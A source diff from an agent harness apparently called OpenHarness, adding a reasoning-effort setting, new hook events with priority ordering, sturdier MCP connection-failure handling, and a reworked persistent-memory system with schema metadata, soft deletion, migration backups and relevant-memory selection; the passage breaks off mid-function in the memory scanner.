from openharness.engine.stream_events import AssistantTurnComplete, StreamEvent
from openharness.hooks import HookExecutor
from openharness.config.settings import Settings
from openharness.hooks import HookEvent, HookExecutor
from openharness.permissions.checker import PermissionChecker
from openharness.services.autodream.service import schedule_auto_dream
from openharness.tools.base import ToolRegistry
@@ -36,6 +38,7 @@ class QueryEngine:
ask_user_prompt: AskUserPrompt | None = None,
hook_executor: HookExecutor | None = None,
tool_metadata: dict[str, object] | None = None,
settings: Settings | None = None,
) -> None:
self._api_client = api_client
self._tool_registry = tool_registry
@@ -44,6 +47,7 @@ class QueryEngine:
self._model = model
self._system_prompt = system_prompt
self._max_tokens = max_tokens
self._effort = settings.effort if settings is not None else None
self._context_window_tokens = context_window_tokens
self._auto_compact_threshold_tokens = auto_compact_threshold_tokens
self._max_turns = max_turns
@@ -51,6 +55,7 @@ class QueryEngine:
self._ask_user_prompt = ask_user_prompt
self._hook_executor = hook_executor
self._tool_metadata = tool_metadata or {}
self._settings = settings
self._messages: list[ConversationMessage] = []
self._cost_tracker = CostTracker()
@@ -102,6 +107,10 @@ class QueryEngine:
"""Update the active model for future turns."""
self._model = model
def set_effort(self, effort: str | None) -> None:
"""Update the active reasoning effort for future turns."""
self._effort = effort
def set_api_client(self, api_client: SupportsStreamingMessages) -> None:
"""Update the active API client for future turns."""
self._api_client = api_client
@@ -129,6 +138,77 @@ class QueryEngine:
"""Replace the in-memory conversation history."""
self._messages = list(messages)
def _schedule_auto_dream(self) -> None:
"""Fire-and-forget background memory consolidation after a user turn."""
if self._settings is None:
return
context = self._tool_metadata.get("autodream_context")
kwargs = dict(context) if isinstance(context, dict) else {}
schedule_auto_dream(
cwd=self._cwd,
settings=self._settings,
model=self._model,
current_session_id=str(self._tool_metadata.get("session_id") or ""),
**kwargs,
)
def _prepare_session_memory(self) -> None:
"""Expose file-backed session memory to compaction when enabled."""
if self._settings is None or not self._settings.memory.session_memory_enabled:
return
if not self._settings.memory.enabled:
return
from openharness.services.session_memory import prepare_session_memory_metadata
prepare_session_memory_metadata(
self._cwd,
self._tool_metadata,
session_id=str(self._tool_metadata.get("session_id") or "default"),
)
async def _update_session_memory(self) -> None:
"""Persist a session checkpoint after a user turn."""
if self._settings is None or not self._settings.memory.session_memory_enabled:
return
if not self._settings.memory.enabled:
return
from openharness.services.session_memory import update_session_memory_file
update_session_memory_file(
self._cwd,
list(self._messages),
tool_metadata=self._tool_metadata,
session_id=str(self._tool_metadata.get("session_id") or "default"),
)
async def _extract_durable_memories(self) -> None:
"""Run the optional durable memory extraction pass."""
if self._settings is None or not self._settings.memory.auto_extract_enabled:
return
if not self._settings.memory.enabled:
return
from openharness.services.memory_extract import extract_memories_from_turn
try:
result = await extract_memories_from_turn(
cwd=self._cwd,
api_client=self._api_client,
model=self._model,
messages=list(self._messages),
max_records=self._settings.memory.auto_extract_max_records,
)
except Exception as exc:
self._tool_metadata["memory_extract_last_error"] = str(exc)
return
self._tool_metadata["memory_extract_last"] = {
"skipped": result.skipped,
"reason": result.reason,
"written_paths": [str(path) for path in result.written_paths],
}
def has_pending_continuation(self) -> bool:
"""Return True when the conversation ends with tool results awaiting a follow-up model turn."""
if not self._messages:
@@ -151,9 +231,19 @@ class QueryEngine:
if isinstance(prompt, ConversationMessage)
else ConversationMessage.from_user_text(prompt)
)
if user_message.text.strip():
if user_message.text.strip() and not self._tool_metadata.pop("_suppress_next_user_goal", False):
remember_user_goal(self._tool_metadata, user_message.text)
self._prepare_session_memory()
self._messages = sanitize_conversation_messages(self._messages)
self._messages.append(user_message)
if self._hook_executor is not None:
await self._hook_executor.execute(
HookEvent.USER_PROMPT_SUBMIT,
{
"event": HookEvent.USER_PROMPT_SUBMIT.value,
"prompt": user_message.text,
},
)
context = QueryContext(
api_client=self._api_client,
tool_registry=self._tool_registry,
@@ -162,6 +252,7 @@ class QueryEngine:
model=self._model,
system_prompt=self._system_prompt,
max_tokens=self._max_tokens,
effort=self._effort,
context_window_tokens=self._context_window_tokens,
auto_compact_threshold_tokens=self._auto_compact_threshold_tokens,
max_turns=self._max_turns,
@@ -174,15 +265,22 @@ class QueryEngine:
coordinator_context = self._build_coordinator_context_message()
if coordinator_context is not None:
query_messages.append(coordinator_context)
async for event, usage in run_query(context, query_messages):
if isinstance(event, AssistantTurnComplete):
self._messages = list(query_messages)
if usage is not None:
self._cost_tracker.add(usage)
yield event
try:
async for event, usage in run_query(context, query_messages):
if isinstance(event, AssistantTurnComplete):
self._messages = list(query_messages)
if usage is not None:
self._cost_tracker.add(usage)
yield event
finally:
await self._update_session_memory()
await self._extract_durable_memories()
self._schedule_auto_dream()
async def continue_pending(self, *, max_turns: int | None = None) -> AsyncIterator[StreamEvent]:
"""Continue an interrupted tool loop without appending a new user message."""
self._prepare_session_memory()
self._messages = sanitize_conversation_messages(self._messages)
context = QueryContext(
api_client=self._api_client,
tool_registry=self._tool_registry,
@@ -191,6 +289,7 @@ class QueryEngine:
model=self._model,
system_prompt=self._system_prompt,
max_tokens=self._max_tokens,
effort=self._effort,
context_window_tokens=self._context_window_tokens,
auto_compact_threshold_tokens=self._auto_compact_threshold_tokens,
max_turns=max_turns if max_turns is not None else self._max_turns,
@@ -203,3 +302,5 @@ class QueryEngine:
if usage is not None:
self._cost_tracker.add(usage)
yield event
await self._update_session_memory()
await self._extract_durable_memories()
+1
View File
@@ -39,6 +39,7 @@ class ToolExecutionCompleted:
tool_name: str
output: str
is_error: bool = False
metadata: dict[str, Any] | None = None
@dataclass(frozen=True)
+4
View File
@@ -14,3 +14,7 @@ class HookEvent(str, Enum):
POST_COMPACT = "post_compact"
PRE_TOOL_USE = "pre_tool_use"
POST_TOOL_USE = "post_tool_use"
USER_PROMPT_SUBMIT = "user_prompt_submit"
NOTIFICATION = "notification"
STOP = "stop"
SUBAGENT_STOP = "subagent_stop"
+10 -2
View File
@@ -18,8 +18,13 @@ class HookRegistry:
self._hooks[event].append(hook)
def get(self, event: HookEvent) -> list[HookDefinition]:
"""Return hooks registered for an event."""
return list(self._hooks.get(event, []))
"""Return hooks registered for an event, ordered by priority.
Hooks with a higher ``priority`` run first. ``sorted`` is stable, so
hooks sharing the same priority keep their registration order.
"""
hooks = self._hooks.get(event, [])
return sorted(hooks, key=lambda hook: -getattr(hook, "priority", 0))
def summary(self) -> str:
"""Return a human-readable hook summary."""
@@ -33,6 +38,9 @@ class HookRegistry:
matcher = getattr(hook, "matcher", None)
detail = getattr(hook, "command", None) or getattr(hook, "prompt", None) or getattr(hook, "url", None) or ""
suffix = f" matcher={matcher}" if matcher else ""
priority = getattr(hook, "priority", 0)
if priority:
suffix += f" priority={priority}"
lines.append(f" - {hook.type}{suffix}: {detail}")
return "\n".join(lines)
+8
View File
@@ -15,6 +15,8 @@ class CommandHookDefinition(BaseModel):
timeout_seconds: int = Field(default=30, ge=1, le=600)
matcher: str | None = None
block_on_failure: bool = False
priority: int = Field(default=0)
"""Higher priority runs first within an event; ties keep registration order."""
class PromptHookDefinition(BaseModel):
@@ -26,6 +28,8 @@ class PromptHookDefinition(BaseModel):
timeout_seconds: int = Field(default=30, ge=1, le=600)
matcher: str | None = None
block_on_failure: bool = True
priority: int = Field(default=0)
"""Higher priority runs first within an event; ties keep registration order."""
class HttpHookDefinition(BaseModel):
@@ -37,6 +41,8 @@ class HttpHookDefinition(BaseModel):
timeout_seconds: int = Field(default=30, ge=1, le=600)
matcher: str | None = None
block_on_failure: bool = False
priority: int = Field(default=0)
"""Higher priority runs first within an event; ties keep registration order."""
class AgentHookDefinition(BaseModel):
@@ -48,6 +54,8 @@ class AgentHookDefinition(BaseModel):
timeout_seconds: int = Field(default=60, ge=1, le=1200)
matcher: str | None = None
block_on_failure: bool = True
priority: int = Field(default=0)
"""Higher priority runs first within an event; ties keep registration order."""
HookDefinition = (
+53 -14
View File
@@ -75,6 +75,31 @@ class McpClientManager:
"""Return one configured server object if present."""
return self._server_configs.get(name)
async def _close_failed_stack(self, stack: AsyncExitStack) -> None:
"""Best-effort cleanup for a connection attempt that never finished."""
try:
await stack.aclose()
except BaseException as exc:
if isinstance(exc, (KeyboardInterrupt, SystemExit)):
raise
def _mark_connection_failed(
self,
name: str,
config: object,
*,
auth_configured: bool,
exc: BaseException,
) -> None:
"""Record one MCP connection failure without aborting startup."""
self._statuses[name] = McpConnectionStatus(
name=name,
state="failed",
transport=getattr(config, "type", "unknown"),
auth_configured=auth_configured,
detail=str(exc) or exc.__class__.__name__,
)
async def close(self) -> None:
"""Close all active MCP sessions."""
for stack in list(self._stacks.values()):
@@ -173,14 +198,21 @@ class McpClientManager:
write_stream=write_stream,
auth_configured=bool(config.env),
)
except Exception as exc:
await stack.aclose()
self._statuses[name] = McpConnectionStatus(
name=name,
state="failed",
transport=config.type,
except asyncio.CancelledError as exc:
await self._close_failed_stack(stack)
self._mark_connection_failed(
name,
config,
auth_configured=bool(config.env),
detail=str(exc),
exc=exc,
)
except Exception as exc:
await self._close_failed_stack(stack)
self._mark_connection_failed(
name,
config,
auth_configured=bool(config.env),
exc=exc,
)
async def _connect_http(self, name: str, config: McpHttpServerConfig) -> None:
@@ -200,14 +232,21 @@ class McpClientManager:
write_stream=write_stream,
auth_configured=bool(config.headers),
)
except Exception as exc:
await stack.aclose()
self._statuses[name] = McpConnectionStatus(
name=name,
state="failed",
transport=config.type,
except asyncio.CancelledError as exc:
await self._close_failed_stack(stack)
self._mark_connection_failed(
name,
config,
auth_configured=bool(config.headers),
detail=str(exc),
exc=exc,
)
except Exception as exc:
await self._close_failed_stack(stack)
self._mark_connection_failed(
name,
config,
auth_configured=bool(config.headers),
exc=exc,
)
async def _register_connected_session(
+7
View File
@@ -2,17 +2,24 @@
from openharness.memory.memdir import load_memory_prompt
from openharness.memory.manager import add_memory_entry, list_memory_files, remove_memory_entry
from openharness.memory.migrate import migrate_memory
from openharness.memory.paths import get_memory_entrypoint, get_project_memory_dir
from openharness.memory.scan import scan_memory_files
from openharness.memory.search import find_relevant_memories
from openharness.memory.usage import mark_memory_used
from openharness.memory.relevance import format_relevant_memories, select_relevant_memories
__all__ = [
"add_memory_entry",
"find_relevant_memories",
"format_relevant_memories",
"get_memory_entrypoint",
"get_project_memory_dir",
"list_memory_files",
"load_memory_prompt",
"mark_memory_used",
"migrate_memory",
"remove_memory_entry",
"scan_memory_files",
"select_relevant_memories",
]
+91
View File
@@ -0,0 +1,91 @@
"""Agent-scoped memory paths and snapshots."""
from __future__ import annotations
import re
import shutil
from pathlib import Path
from typing import Literal
from openharness.config.paths import get_data_dir
from openharness.memory.paths import get_project_memory_dir
AgentMemoryScope = Literal["user", "project", "local"]
MEMORY_INDEX = "MEMORY.md"
SNAPSHOT_DIR_NAME = "agent-memory-snapshots"
def sanitize_agent_type(agent_type: str) -> str:
"""Return a path-safe agent type."""
return re.sub(r"[^a-zA-Z0-9_.-]+", "_", agent_type.strip()).strip("._") or "default"
def get_agent_memory_dir(cwd: str | Path, agent_type: str, scope: AgentMemoryScope) -> Path:
"""Return an agent memory vault for the requested scope."""
safe = sanitize_agent_type(agent_type)
if scope == "project":
return get_project_memory_dir(cwd) / "agent" / safe
if scope == "local":
return Path(cwd).resolve() / ".openharness" / "agent-memory-local" / safe
return get_data_dir() / "agent-memory" / safe
def ensure_agent_memory_vault(cwd: str | Path, agent_type: str, scope: AgentMemoryScope) -> Path:
"""Create and return an agent-scoped memory vault."""
memory_dir = get_agent_memory_dir(cwd, agent_type, scope)
memory_dir.mkdir(parents=True, exist_ok=True)
entrypoint = memory_dir / MEMORY_INDEX
if not entrypoint.exists():
entrypoint.write_text("# Memory Index\n", encoding="utf-8")
return memory_dir
def get_agent_memory_entrypoint(cwd: str | Path, agent_type: str, scope: AgentMemoryScope) -> Path:
"""Return an agent memory ``MEMORY.md`` path."""
return ensure_agent_memory_vault(cwd, agent_type, scope) / MEMORY_INDEX
def get_agent_snapshot_dir(cwd: str | Path, agent_type: str) -> Path:
"""Return the project snapshot directory for an agent type."""
return Path(cwd).resolve() / ".openharness" / SNAPSHOT_DIR_NAME / sanitize_agent_type(agent_type)
def initialize_agent_memory_from_snapshot(
cwd: str | Path,
agent_type: str,
scope: AgentMemoryScope,
*,
replace: bool = False,
) -> Path | None:
"""Initialize local agent memory from a project snapshot if present."""
snapshot_dir = get_agent_snapshot_dir(cwd, agent_type)
if not snapshot_dir.exists():
return None
target = ensure_agent_memory_vault(cwd, agent_type, scope)
if replace and target.exists():
shutil.rmtree(target)
target.mkdir(parents=True, exist_ok=True)
for src in snapshot_dir.rglob("*.md"):
rel = src.relative_to(snapshot_dir)
dest = target / rel
dest.parent.mkdir(parents=True, exist_ok=True)
if replace or not dest.exists() or _is_default_agent_index(dest):
shutil.copy2(src, dest)
return target
def _is_default_agent_index(path: Path) -> bool:
if path.name != MEMORY_INDEX or not path.exists():
return False
try:
text = path.read_text(encoding="utf-8", errors="replace")
except OSError:
return False
return text.startswith("# Memory Index\n")
+143 -18
View File
@@ -6,6 +6,23 @@ from pathlib import Path
from re import sub
from openharness.memory.paths import get_memory_entrypoint, get_project_memory_dir
from openharness.memory.scan import scan_memory_files
from openharness.memory.schema import (
DEFAULT_MEMORY_SCOPE,
DEFAULT_MEMORY_TYPE,
MemoryScope,
MemoryType,
SCHEMA_VERSION,
compute_memory_signature,
first_content_line,
format_datetime,
generate_memory_id,
memory_metadata_from_path,
render_memory_file,
split_memory_file,
coerce_int,
utc_now,
)
from openharness.utils.file_lock import exclusive_file_lock
from openharness.utils.fs import atomic_write_text
@@ -16,36 +33,120 @@ def _memory_lock_path(cwd: str | Path) -> Path:
def list_memory_files(cwd: str | Path) -> list[Path]:
"""List memory markdown files for the project."""
memory_dir = get_project_memory_dir(cwd)
return sorted(path for path in memory_dir.glob("*.md"))
return sorted(header.path for header in scan_memory_files(cwd, max_files=None))
def add_memory_entry(cwd: str | Path, title: str, content: str) -> Path:
"""Create a memory file and append it to MEMORY.md."""
memory_dir = get_project_memory_dir(cwd)
def add_memory_entry(
cwd: str | Path,
title: str,
content: str,
*,
memory_type: MemoryType = DEFAULT_MEMORY_TYPE,
scope: MemoryScope = DEFAULT_MEMORY_SCOPE,
description: str = "",
tags: tuple[str, ...] = (),
) -> Path:
"""Create or refresh a memory file and append it to MEMORY.md."""
if scope == "team":
from openharness.memory.team import check_team_memory_secrets, ensure_team_memory_vault
secret_error = check_team_memory_secrets(content)
if secret_error:
raise ValueError(secret_error)
memory_dir = ensure_team_memory_vault(cwd)
else:
memory_dir = get_project_memory_dir(cwd)
slug = sub(r"[^a-zA-Z0-9]+", "_", title.strip().lower()).strip("_") or "memory"
path = memory_dir / f"{slug}.md"
with exclusive_file_lock(_memory_lock_path(cwd)):
atomic_write_text(path, content.strip() + "\n")
with exclusive_file_lock(memory_dir / ".memory.lock"):
category = "knowledge"
body = content.strip() + "\n"
signature = compute_memory_signature(body, memory_type, category)
existing = scan_memory_files(
cwd,
max_files=None,
include_disabled=True,
include_expired=True,
memory_dir=memory_dir,
)
duplicate = next(
(header for header in existing if _effective_signature(header.path, header.signature) == signature),
None,
)
path = duplicate.path if duplicate is not None else _next_memory_path(memory_dir, slug)
now = utc_now()
now_text = format_datetime(now)
if path.exists():
metadata, old_body, _, _ = split_memory_file(path.read_text(encoding="utf-8"))
metadata = memory_metadata_from_path(
path,
metadata,
old_body,
now=now,
source=str(metadata.get("source") or "manual"),
)
created_at = str(metadata.get("created_at") or now_text)
memory_id = str(metadata.get("id") or generate_memory_id(now))
else:
metadata = {}
created_at = now_text
memory_id = generate_memory_id(now)
entrypoint = get_memory_entrypoint(cwd)
existing = entrypoint.read_text(encoding="utf-8") if entrypoint.exists() else "# Memory Index\n"
if path.name not in existing:
existing = existing.rstrip() + f"\n- [{title}]({path.name})\n"
atomic_write_text(entrypoint, existing)
metadata.update(
{
"schema_version": SCHEMA_VERSION,
"id": memory_id,
"name": title.strip(),
"description": description.strip() or first_content_line(body) or title.strip(),
"type": str(metadata.get("type") or memory_type),
"scope": str(metadata.get("scope") or scope),
"category": str(metadata.get("category") or category),
"importance": max(coerce_int(metadata.get("importance"), default=0), 1),
"source": "manual",
"signature": signature,
"created_at": created_at,
"updated_at": now_text,
"ttl_days": metadata.get("ttl_days"),
"disabled": False,
"supersedes": metadata.get("supersedes") or [],
"tags": list(dict.fromkeys(str(tag).strip() for tag in tags if str(tag).strip())),
}
)
atomic_write_text(path, render_memory_file(metadata, body))
entrypoint = memory_dir / "MEMORY.md"
index_text = entrypoint.read_text(encoding="utf-8") if entrypoint.exists() else "# Memory Index\n"
if path.name not in index_text:
index_text = index_text.rstrip() + f"\n- [{title}]({path.name})\n"
atomic_write_text(entrypoint, index_text)
return path
def remove_memory_entry(cwd: str | Path, name: str) -> bool:
"""Delete a memory file and remove its index entry."""
memory_dir = get_project_memory_dir(cwd)
matches = [path for path in memory_dir.glob("*.md") if path.stem == name or path.name == name]
"""Soft-delete a memory file and remove its index entry."""
matches = [
header
for header in scan_memory_files(
cwd,
max_files=None,
include_disabled=True,
include_expired=True,
)
if name in {header.path.stem, header.path.name, header.title, header.id}
]
if not matches:
return False
path = matches[0]
header = matches[0]
if header.disabled:
return False
path = header.path
with exclusive_file_lock(_memory_lock_path(cwd)):
if path.exists():
path.unlink()
content = path.read_text(encoding="utf-8")
metadata, body, _, _ = split_memory_file(content)
metadata = memory_metadata_from_path(path, metadata, body, source="manual")
metadata["disabled"] = True
metadata["updated_at"] = format_datetime(utc_now())
atomic_write_text(path, render_memory_file(metadata, body))
entrypoint = get_memory_entrypoint(cwd)
if entrypoint.exists():
@@ -56,3 +157,27 @@ def remove_memory_entry(cwd: str | Path, name: str) -> bool:
]
atomic_write_text(entrypoint, "\n".join(lines).rstrip() + "\n")
return True
def _next_memory_path(memory_dir: Path, slug: str) -> Path:
path = memory_dir / f"{slug}.md"
if not path.exists():
return path
index = 2
while True:
candidate = memory_dir / f"{slug}_{index}.md"
if not candidate.exists():
return candidate
index += 1
def _effective_signature(path: Path, existing_signature: str) -> str:
if existing_signature:
return existing_signature
try:
metadata, body, _, _ = split_memory_file(path.read_text(encoding="utf-8"))
except OSError:
return ""
memory_type = str(metadata.get("type") or "project")
category = str(metadata.get("category") or "knowledge")
return compute_memory_signature(body, memory_type, category)
+23 -5
View File
@@ -5,23 +5,41 @@ from __future__ import annotations
from pathlib import Path
from openharness.memory.paths import get_memory_entrypoint, get_project_memory_dir
from openharness.memory.schema import (
MAX_ENTRYPOINT_BYTES,
MEMORY_POLICY_LINES,
truncate_entrypoint_content,
)
def load_memory_prompt(cwd: str | Path, *, max_entrypoint_lines: int = 200) -> str | None:
def load_memory_prompt(
cwd: str | Path,
*,
max_entrypoint_lines: int = 200,
max_entrypoint_bytes: int = MAX_ENTRYPOINT_BYTES,
) -> str | None:
"""Return the memory prompt section for the current project."""
memory_dir = get_project_memory_dir(cwd)
entrypoint = get_memory_entrypoint(cwd)
lines = [
"# Memory",
f"- Persistent memory directory: {memory_dir}",
"- Use this directory to store durable user or project context that should survive future sessions.",
"- Use this directory to store durable project and repository context that should survive future sessions.",
"- Prefer concise topic files plus an index entry in MEMORY.md.",
"",
*MEMORY_POLICY_LINES,
]
if entrypoint.exists():
content_lines = entrypoint.read_text(encoding="utf-8").splitlines()[:max_entrypoint_lines]
if content_lines:
lines.extend(["", "## MEMORY.md", "```md", *content_lines, "```"])
raw = entrypoint.read_text(encoding="utf-8", errors="replace")
view = truncate_entrypoint_content(
raw,
max_lines=max_entrypoint_lines,
max_bytes=max_entrypoint_bytes,
)
content = view.content.strip()
if content:
lines.extend(["", "## MEMORY.md", "```md", content, "```"])
else:
lines.extend(
[
+137
View File
@@ -0,0 +1,137 @@
"""Migration utilities for schema-v1 memory frontmatter."""
from __future__ import annotations
import argparse
import json
import shutil
from dataclasses import asdict, dataclass
from pathlib import Path
from openharness.memory.paths import get_project_memory_dir
from openharness.memory.schema import (
memory_metadata_from_path,
render_memory_file,
split_memory_file,
utc_now,
)
from openharness.utils.fs import atomic_write_text
@dataclass(frozen=True)
class MigrationSummary:
"""Summary returned by a memory schema migration run."""
scanned: int
changed: int
unchanged: int
failed: int
dry_run: bool
backup_dir: str
changed_files: tuple[str, ...]
failed_files: tuple[str, ...]
def as_dict(self) -> dict[str, object]:
return asdict(self)
def migrate_memory(
cwd: str | Path,
*,
memory_dir: str | Path | None = None,
default_type: str = "project",
default_category: str = "knowledge",
apply: bool = False,
) -> MigrationSummary:
"""Backfill schema-v1 frontmatter for top-level memory markdown files."""
root = Path(memory_dir).expanduser().resolve() if memory_dir is not None else get_project_memory_dir(cwd)
root.mkdir(parents=True, exist_ok=True)
files = sorted(path for path in root.glob("*.md") if path.name != "MEMORY.md")
changed_payloads: list[tuple[Path, str]] = []
failed_files: list[str] = []
seen_ids: set[str] = set()
now = utc_now()
for path in files:
try:
content = path.read_text(encoding="utf-8")
metadata, body, _, _ = split_memory_file(content)
migrated = memory_metadata_from_path(
path,
metadata,
body,
now=now,
source="migration",
default_type=default_type,
default_category=default_category,
seen_ids=seen_ids,
)
rendered = render_memory_file(migrated, body)
if rendered != content:
changed_payloads.append((path, rendered))
except OSError:
failed_files.append(path.name)
backup_dir = ""
if apply and changed_payloads:
backup_path = _create_migration_backup(root)
backup_dir = str(backup_path)
for path, rendered in changed_payloads:
atomic_write_text(path, rendered)
changed_files = tuple(path.name for path, _ in changed_payloads)
return MigrationSummary(
scanned=len(files),
changed=len(changed_payloads),
unchanged=len(files) - len(changed_payloads) - len(failed_files),
failed=len(failed_files),
dry_run=not apply,
backup_dir=backup_dir,
changed_files=changed_files,
failed_files=tuple(failed_files),
)
def main(argv: list[str] | None = None) -> int:
"""Command-line entrypoint for one-off memory migrations."""
parser = argparse.ArgumentParser(description="Backfill OpenHarness memory schema metadata.")
parser.add_argument("--cwd", default=".", help="Project cwd whose memory store should be migrated.")
parser.add_argument("--memory-dir", default=None, help="Explicit memory directory to migrate.")
parser.add_argument("--default-type", default="project", help="Type for legacy files without one.")
parser.add_argument("--default-category", default="knowledge", help="Category for legacy files without one.")
parser.add_argument("--dry-run", action="store_true", help="Report files that would change.")
parser.add_argument("--apply", action="store_true", help="Write migrated files and create a backup.")
args = parser.parse_args(argv)
if args.dry_run == args.apply:
parser.error("pass exactly one of --dry-run or --apply")
summary = migrate_memory(
args.cwd,
memory_dir=args.memory_dir,
default_type=args.default_type,
default_category=args.default_category,
apply=args.apply,
)
print(json.dumps(summary.as_dict(), indent=2, ensure_ascii=False))
return 0
def _create_migration_backup(memory_dir: Path) -> Path:
timestamp = utc_now().strftime("%Y%m%d-%H%M%S")
backup_dir = memory_dir / "backups" / f"migration-{timestamp}"
suffix = 2
while backup_dir.exists():
backup_dir = memory_dir / "backups" / f"migration-{timestamp}-{suffix}"
suffix += 1
backup_dir.mkdir(parents=True, exist_ok=False)
for path in sorted(memory_dir.glob("*.md")):
shutil.copy2(path, backup_dir / path.name)
usage_index = memory_dir / "usage_index.json"
if usage_index.exists():
shutil.copy2(usage_index, backup_dir / usage_index.name)
return backup_dir
if __name__ == "__main__":
raise SystemExit(main())
+145
View File
@@ -0,0 +1,145 @@
"""Relevant memory selection and formatting."""
from __future__ import annotations
import json
from dataclasses import dataclass
from pathlib import Path
from typing import Callable, Iterable
from openharness.memory.scan import scan_memory_files
from openharness.memory.schema import memory_age_label, memory_freshness_text
from openharness.memory.search import find_relevant_memories
from openharness.memory.types import MemoryHeader
@dataclass(frozen=True)
class RelevantMemory:
"""A memory selected for prompt injection."""
header: MemoryHeader
freshness: str = ""
MemorySelector = Callable[[str, list[MemoryHeader]], list[str]]
def build_memory_manifest(headers: Iterable[MemoryHeader]) -> str:
"""Render a compact manifest for selector prompts and diagnostics."""
lines: list[str] = []
for header in headers:
prefix = f"[{header.memory_type or 'memory'}]"
bits = [
prefix,
header.relative_path or header.path.name,
f"({memory_age_label(header.modified_at)})",
]
if header.description:
bits.append(f"- {header.description}")
lines.append(" ".join(bits))
return "\n".join(lines)
def select_relevant_memories(
query: str,
cwd: str | Path,
*,
max_results: int = 5,
already_surfaced: set[str] | None = None,
selector: MemorySelector | None = None,
) -> list[RelevantMemory]:
"""Return relevant memories with duplicate and freshness handling.
``selector`` is an optional side-query style reranker. It receives the query
and a heuristic shortlist, and returns relative paths in desired order.
"""
surfaced = already_surfaced or set()
heuristic = [
header
for header in find_relevant_memories(query, cwd, max_results=max(10, max_results * 3))
if (header.relative_path or str(header.path)) not in surfaced
]
selected = _apply_selector(query, heuristic, selector=selector, max_results=max_results)
result: list[RelevantMemory] = []
for header in selected[:max_results]:
result.append(RelevantMemory(header=header, freshness=memory_freshness_text(header.modified_at)))
return result
def select_manifest_memories(
query: str,
cwd: str | Path,
*,
max_results: int = 5,
selector: MemorySelector | None = None,
) -> list[RelevantMemory]:
"""Select from the full manifest instead of heuristic matches only."""
headers = scan_memory_files(cwd, max_files=200)
selected = _apply_selector(query, headers, selector=selector, max_results=max_results)
return [
RelevantMemory(header=header, freshness=memory_freshness_text(header.modified_at))
for header in selected[:max_results]
]
def format_relevant_memories(memories: Iterable[RelevantMemory], *, max_chars: int = 8000) -> str:
"""Render selected memories for prompt context."""
lines = ["# Relevant Memories"]
for item in memories:
header = item.header
content = header.path.read_text(encoding="utf-8", errors="replace").strip()
if item.freshness:
lines.extend(["", f"## {header.relative_path or header.path.name}", f"> {item.freshness}"])
else:
lines.extend(["", f"## {header.relative_path or header.path.name}"])
lines.extend(["```md", content[:max_chars], "```"])
return "\n".join(lines)
def json_selector_from_text(text: str) -> list[str]:
"""Parse a selector response as either JSON list or newline paths."""
stripped = text.strip()
if not stripped:
return []
try:
payload = json.loads(stripped)
except json.JSONDecodeError:
return [line.strip("- ").strip() for line in stripped.splitlines() if line.strip()]
if isinstance(payload, list):
return [str(item).strip() for item in payload if str(item).strip()]
if isinstance(payload, dict) and isinstance(payload.get("paths"), list):
return [str(item).strip() for item in payload["paths"] if str(item).strip()]
return []
def _apply_selector(
query: str,
headers: list[MemoryHeader],
*,
selector: MemorySelector | None,
max_results: int,
) -> list[MemoryHeader]:
if not headers or selector is None:
return headers[:max_results]
requested = selector(query, headers)
by_path = {header.relative_path or header.path.name: header for header in headers}
selected: list[MemoryHeader] = []
seen: set[str] = set()
for path in requested:
header = by_path.get(path)
if header is None or path in seen:
continue
selected.append(header)
seen.add(path)
if len(selected) < max_results:
selected.extend(
header
for header in headers
if (header.relative_path or header.path.name) not in seen
)
return selected[:max_results]
+60 -27
View File
@@ -5,12 +5,28 @@ from __future__ import annotations
from pathlib import Path
from openharness.memory.paths import get_project_memory_dir
from openharness.memory.schema import (
coerce_bool,
coerce_int,
coerce_optional_int,
coerce_str_list,
first_content_line,
is_memory_expired,
split_memory_file,
)
from openharness.memory.types import MemoryHeader
def scan_memory_files(cwd: str | Path, *, max_files: int = 50) -> list[MemoryHeader]:
def scan_memory_files(
cwd: str | Path,
*,
max_files: int | None = 50,
include_disabled: bool = False,
include_expired: bool = False,
memory_dir: str | Path | None = None,
) -> list[MemoryHeader]:
"""Return memory headers sorted by newest first."""
memory_dir = get_project_memory_dir(cwd)
memory_dir = Path(memory_dir) if memory_dir is not None else get_project_memory_dir(cwd)
headers: list[MemoryHeader] = []
for path in memory_dir.glob("*.md"):
if path.name == "MEMORY.md":
@@ -20,45 +36,40 @@ def scan_memory_files(cwd: str | Path, *, max_files: int = 50) -> list[MemoryHea
except OSError:
continue
header = _parse_memory_file(path, text)
if header.disabled and not include_disabled:
continue
if is_memory_expired(_metadata_from_header(header)) and not include_expired:
continue
headers.append(header)
headers.sort(key=lambda item: item.modified_at, reverse=True)
if max_files is None:
return headers
return headers[:max_files]
def _parse_memory_file(path: Path, content: str) -> MemoryHeader:
"""Parse a memory file, extracting YAML frontmatter when present."""
lines = content.splitlines()
metadata, body, _, _ = split_memory_file(content)
lines = body.splitlines()
title = path.stem
description = ""
memory_type = ""
body_start = 0
# Parse YAML frontmatter (--- ... ---)
if lines and lines[0].strip() == "---":
for i, line in enumerate(lines[1:], 1):
if line.strip() == "---":
for fm_line in lines[1:i]:
key, _, value = fm_line.partition(":")
key = key.strip()
value = value.strip().strip("'\"")
if not value:
continue
if key == "name":
title = value
elif key == "description":
description = value
elif key == "type":
memory_type = value
body_start = i + 1
break
if metadata.get("name"):
title = str(metadata["name"])
if metadata.get("description"):
description = str(metadata["description"])
if metadata.get("type"):
memory_type = str(metadata["type"])
# Fallback: first non-empty, non-frontmatter line as description
desc_line_idx: int | None = None
if not description:
for idx, line in enumerate(lines[body_start:body_start + 10], body_start):
fallback = first_content_line("\n".join(lines[:10]))
if fallback:
description = fallback
for idx, line in enumerate(lines[:10]):
stripped = line.strip()
if stripped and stripped != "---" and not stripped.startswith("#"):
description = stripped[:200]
if stripped[:200] == description:
desc_line_idx = idx
break
@@ -66,7 +77,7 @@ def _parse_memory_file(path: Path, content: str) -> MemoryHeader:
# line already used as description so search scoring stays consistent.
body_lines = [
line.strip()
for idx, line in enumerate(lines[body_start:], body_start)
for idx, line in enumerate(lines)
if line.strip()
and not line.strip().startswith("#")
and idx != desc_line_idx
@@ -80,4 +91,26 @@ def _parse_memory_file(path: Path, content: str) -> MemoryHeader:
modified_at=path.stat().st_mtime,
memory_type=memory_type,
body_preview=body_preview,
id=str(metadata.get("id") or ""),
schema_version=coerce_int(metadata.get("schema_version"), default=0),
category=str(metadata.get("category") or ""),
importance=coerce_int(metadata.get("importance"), default=0),
source=str(metadata.get("source") or ""),
signature=str(metadata.get("signature") or ""),
created_at=str(metadata.get("created_at") or ""),
updated_at=str(metadata.get("updated_at") or ""),
ttl_days=coerce_optional_int(metadata.get("ttl_days")),
disabled=coerce_bool(metadata.get("disabled"), default=False),
supersedes=coerce_str_list(metadata.get("supersedes")),
